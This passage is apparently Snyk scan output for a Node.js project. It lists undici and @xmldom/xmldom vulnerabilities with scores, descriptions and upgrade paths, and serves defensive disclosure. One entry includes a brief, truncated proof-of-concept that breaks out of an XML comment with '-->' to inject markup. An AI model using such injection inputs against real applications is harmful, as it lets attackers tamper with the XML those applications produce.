"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:17.945002Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:24.393404Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.036594Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.036594Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:17.945002Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:24.393404Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the `fetch()` implementation's Subresource Integrity (SRI) verification logic, which matches the algorithm token against a lowercase-only set. A valid but non-lowercase token such as `SHA256-...` or `Sha256-...` is treated as unknown and skipped, causing undici to treat the integrity list as empty and accept the response unconditionally. An attacker who controls the response body can therefore deliver arbitrary bytes to an application that pinned a valid uppercase or mixed-case SRI token, with no integrity error raised.\n\n**Note:** This is only exploitable when the application uses uppercase or mixed-case algorithm tokens (e.g., `SHA256`, `Sha384`) in its `integrity` metadata rather than the canonical lowercase forms.\n\n## Workaround\n\nUse lowercase algorithm tokens (`sha256`, `sha384`, `sha512`) in all `integrity` metadata passed to `fetch()`.\n## Remediation\nUpgrade `undici` to version 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-f72v-6w45-q472)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.15179",
"probability": "0.00250",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109841"
],
"CWE": [
"CWE-178"
],
"GHSA": [
"GHSA-f72v-6w45-q472"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:25.543912Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:55.577000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:25.706632Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.036594Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181013",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=4.2.1 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception via unhandled `ERR_TLS_CERT_ALTNAME_INVALID` errors in `onHttpSocketError`, `onHttp2SessionError`, and `onHttp2SocketError`. When a TLS connection is established and the server's certificate fails Subject Alternative Name validation post-connect, the error propagates and triggers a failed `assert` call, crashing the process. An attacker who can cause the client to connect to a server presenting an invalid TLS certificate can exploit this to crash the Node.js process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07405",
"probability": "0.00184",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-87018"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-qrxm-fqhp-jwvm"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:38.122926Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:34.126000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:38.271407Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-18T11:15:38.468693Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181015",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=5.15.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded automatic PONG write queuing in the WebSocket `ByteParser` receiver. A remote attacker can send a flood of PING control frames over a standard WebSocket connection, causing the outbound write queue to grow without bound because each inbound PING triggers an automatic PONG reply that is enqueued regardless of socket backpressure, exhausting memory and crashing the process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22070",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109932"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-9fm3-97px-rjf6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:43.161817Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:18.018000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:43.310504Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.494426Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181017",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"haoxiang Yan"
],
"semver": {
"vulnerable": [
">=7.15.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-55wc-3pg8-jfw6",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:18.849873Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:48.450952Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.251949Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.251949Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:18.849873Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:48.450952Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception via the `DecompressHandler` in `lib/interceptor/decompress.js`, where an uncaught exception thrown by a downstream handler during `onResponseData` or `onResponseEnd` propagates unhandled rather than being converged into a per-request error. An attacker or a misbehaving downstream handler can trigger this condition to crash the request pipeline, causing a denial of service.\n## Remediation\nUpgrade `undici` to version 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-55wc-3pg8-jfw6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.15201",
"probability": "0.00250",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-87029"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-55wc-3pg8-jfw6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:54.262716Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:57:32.262000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:54.415042Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.251949Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-UNDICI-21181019",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Syed Mohammad Ibrahim"
],
"semver": {
"vulnerable": [
">=6.5.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `EventSourceStream` transform in `lib/web/eventsource/eventsource-stream.js`, where the `maxEventSize` limit is only enforced inside `parseLine()`, which is only invoked when a line terminator (CR or LF) is encountered. A server can stream a `data:` field (or any field) that never contains a line terminator, causing the client to buffer the response body without bound and driving the process toward memory exhaustion.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22069",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109924"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-4qv8-2p9j-2685"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:59.691676Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T19:58:39.827000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:59.844509Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.485058Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"cheerio@1.1.2",
"undici@7.16.0"
],
"upgradePath": [
false,
"cheerio@1.1.2",
"undici@7.30.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "7.16.0"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-15869636",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P",
"credit": [
"Ali Firas"
],
"semver": {
"vulnerable": [
"<0.8.12",
">=0.9.0 <0.9.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.12",
"0.9.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-wh4c-j3r5-mjhp",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/xmldom/xmldom/commit/2b852e836ab86dbbd6cbaf0537f584dd0b5ac184",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.8.12",
"title": "GitHub Release"
},
{
"url": "https://github.com/xmldom/xmldom/releases/tag/0.9.9",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-07T21:31:03.384471Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:13:47.103287Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.6,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:13:47.103287Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-07T21:31:03.384471Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection via the `XMLSerializer()` function. An attacker can manipulate the structure and integrity of generated XML documents by injecting attacker-controlled markup containing the CDATA terminator `]]>` through CDATA section content, which is not properly validated or sanitized during serialization. This can result in unauthorized XML elements or attributes being inserted, potentially leading to business logic manipulation or privilege escalation in downstream consumers.\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.12, 0.9.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/xmldom/xmldom/security/advisories/GHSA-wh4c-j3r5-mjhp)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/2b852e836ab86dbbd6cbaf0537f584dd0b5ac184)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.8.12)\n- [GitHub Release](https://github.com/xmldom/xmldom/releases/tag/0.9.9)\n",
"epssDetails": {
"percentile": "0.42722",
"probability": "0.00536",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-34601"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-wh4c-j3r5-mjhp"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-01T10:58:07.934837Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-01T00:19:06Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-01T10:58:08.232619Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:13:47.103287Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.15"
],
"isUpgradable": true,
"isPatchable": false,
"name": "@xmldom/xmldom",
"version": "0.8.11"
},
{
"id": "SNYK-JS-XMLDOMXMLDOM-16133132",
"title": "XML Injection",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"Jvr2022",
"TharVid"
],
"semver": {
"vulnerable": [
"<0.8.13",
">=0.9.0 <0.9.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.8.13",
"0.9.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "@xmldom/xmldom",
"references": [
{
"url": "https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1",
"title": "GitHub Commit"
},
{
"url": "https://github.com/xmldom/xmldom/pull/987",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-06-09T14:05:50.228256Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:22:31.719771Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:22:31.719771Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-06-09T14:05:50.228256Z"
}
],
"description": "## Overview\n[@xmldom/xmldom](https://www.npmjs.com/package/@xmldom/xmldom) is a javascript ponyfill to provide the following APIs that are present in modern browsers to other runtimes.\r\nSince version 0.7.0 this package is published to npm as @xmldom/xmldom and no longer as xmldom\n\nAffected versions of this package are vulnerable to XML Injection due to unvalidated comment serialization. When an application uses the package to create an XML comment from untrusted user input, the package fails to sanitize comment-breaking sequences (like `-->`). An attacker can input `-->` to terminate the comment prematurely. Once the comment is broken out of, any text the attacker places after the `--> `is treated as \"live\" XML markup by the serializer rather than harmless comment text.\n## PoC\n```\r\nconst { DOMImplementation, DOMParser, XMLSerializer } = require('@xmldom/xmldom');\r\n\r\nconst doc = new DOMImplementation().createDocument(null, 'root', null);\r\n\r\ndoc.documentElement.appendChild(\r\n doc.createComment('-->\r\n\r\nconst reparsed = new DOMParser().parseFromString(xml, 'text/xml');\r\nconsole.log(reparsed.documentElement.childNodes.item(1).nodeName);\r\n// injected\r\n```\n## Remediation\nUpgrade `@xmldom/xmldom` to version 0.8.13, 0.9.10 or higher.\n## References\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7)\n- [GitHub Commit](https://github.com/xmldom/xmldom/commit/fda7cc313de30243fea35cada64e0bb12099c2a1)\n- [GitHub PR](https://github.com/xmldom/xmldom/pull/987)\n",
"epssDetails": {
"percentile": "0.48934",
"probability": "0.00650",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-41672"
],
"CWE": [
"CWE-91"
],
"GHSA": [
"GHSA-j759-j44w-7fr8"
]
},
"packageName": "@xmldom/xmldom",
"proprietary": false,
"creationTime": "2026-04-23T08:45:11.218179Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-04-17T21:00:00Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-04-23T08:45:11.445847Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:22:31.719771Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"mammoth@1.10.0",
"@xmldom/xmldom@0.8.11"
],
"upgradePath": [
false,
"mammoth@1.10.0",
